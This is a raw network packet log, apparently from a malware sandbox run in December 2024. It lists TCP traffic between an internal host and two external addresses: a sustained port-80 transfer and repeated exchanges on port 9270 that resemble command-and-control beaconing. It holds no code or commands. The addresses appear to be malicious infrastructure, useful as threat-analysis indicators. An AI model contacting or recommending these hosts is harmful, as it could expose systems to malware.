Dec 15, 2024 11:59:41.803145885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.803201914 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.803917885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.803972960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.804090977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.804136992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.804893970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.804944992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.804989100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.805099964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.805789948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.805860043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.805927038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.806482077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.806725979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.806780100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.806910038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.807461977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.807710886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.807765961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.807806015 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.807852030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.807852983 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.808562994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.808614016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.808625937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.809263945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.809518099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.809566021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.809603930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.810123920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.810441017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.810489893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.810532093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.811120987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.811356068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.811402082 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.811482906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.812001944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.812338114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.812403917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.812406063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.812473059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.813227892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.813245058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.813282967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.814287901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.814338923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.814464092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.814527988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.815057039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.815103054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.815145016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.816026926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.816071033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.816253901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.816350937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.816864967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.816952944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.837452888 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.852674961 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.853894949 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.908258915 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.957252026 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.960532904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.960602045 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.960670948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.960721970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.960722923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.960971117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.961216927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.961262941 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.961914062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.962013006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.962063074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.962851048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.962901115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.962979078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.963763952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.963814020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.963901043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.964617968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.964704037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.964823961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.964871883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.965624094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.965728998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.965775967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.966584921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.966645002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.966738939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.967514992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.967570066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.967643023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.968445063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.968498945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.968590021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.968641043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.969336987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.969425917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.969475985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.970264912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.970369101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.970418930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.971184015 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.971242905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.971329927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.972121000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.972174883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.972268105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.973037958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.973089933 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.973156929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.973203897 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.973598957 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.973973989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.974031925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.974109888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.974154949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.974894047 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.974920034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.975143909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.975191116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.975837946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.975948095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.975996971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.976759911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.976905107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.976967096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.977655888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.977705956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.977766991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.978620052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.978672028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.978705883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.979512930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.979563951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.979774952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.980463982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.980504036 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.980510950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.981441975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.981492996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.981512070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.981551886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.982328892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.982429028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.982475996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.983338118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.983406067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.983459949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.984221935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.984354973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.984409094 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.985146046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.985196114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.985260010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.986027956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.986078024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.986119986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.986938000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.986989021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.987059116 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.987107038 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.987893105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.987987041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.988039970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.988809109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.988940954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.988989115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.989737988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.989785910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.989872932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.990649939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.990705013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.990835905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.991806030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.991852045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.991863966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.992432117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.992573023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.992794991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.992839098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.993439913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.993503094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.993549109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.994358063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.994405031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.994467020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.995351076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.995399952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.995452881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.995640039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.996283054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.996404886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.996448040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.997143984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.997261047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.997302055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.998091936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.998140097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.998199940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.999017000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.999066114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.999108076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.999917030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.999942064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.000053883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.000097990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.000864029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.000961065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.001008034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.001827002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.001878977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.001920938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.002741098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.002796888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.002829075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.003686905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.003751040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.003765106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.003809929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.004645109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.004820108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.004864931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.005522966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.005584955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.005637884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.006423950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.006531000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.006582975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.007349014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.007395029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.007397890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.008264065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.008320093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.008476973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.009181023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.009232998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.028047085 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.029639959 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.030813932 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.080374002 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.083873034 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.094536066 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.102771997 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.150497913 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.153022051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.153146029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.153167009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.153219938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.153417110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.153472900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.153714895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.153861046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.154411077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.154469013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.154630899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.154680014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.155379057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.155441999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.155474901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.155474901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.156141996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.156320095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.156368017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.157126904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.157231092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.157284021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.158070087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.158103943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:42.158124924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.158157110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:42.172311068 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.203572035 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.203612089 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.222522020 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.222588062 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.292144060 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.296480894 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.323858976 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.323949099 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.342355013 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.344436884 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.416562080 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.423746109 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.443860054 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.455060005 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.464221954 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.464329004 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.543749094 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.571688890 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.575139046 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.584311008 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.619349957 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.620779037 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.691590071 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.736689091 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:42.739242077 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.740578890 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.856550932 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:42.890794992 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.010807037 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.510571957 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.515386105 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.515466928 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.630486965 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.635140896 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.635179996 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.682753086 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.684408903 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.685415030 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.802598953 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.804089069 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.805077076 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.822937965 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.823051929 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.823129892 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.886123896 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.886219025 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:43.942842007 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.942873955 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:43.942935944 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.006033897 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.055768013 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.055797100 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.175611019 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.175622940 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.189471960 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.189554930 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.309240103 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.309251070 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.426794052 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.428421021 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.546818972 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.548130035 CET	9270	49845	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:44.653281927 CET	49845	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.660485983 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:44.773036957 CET	9270	49845	89.23.100.42	192.168.2.4
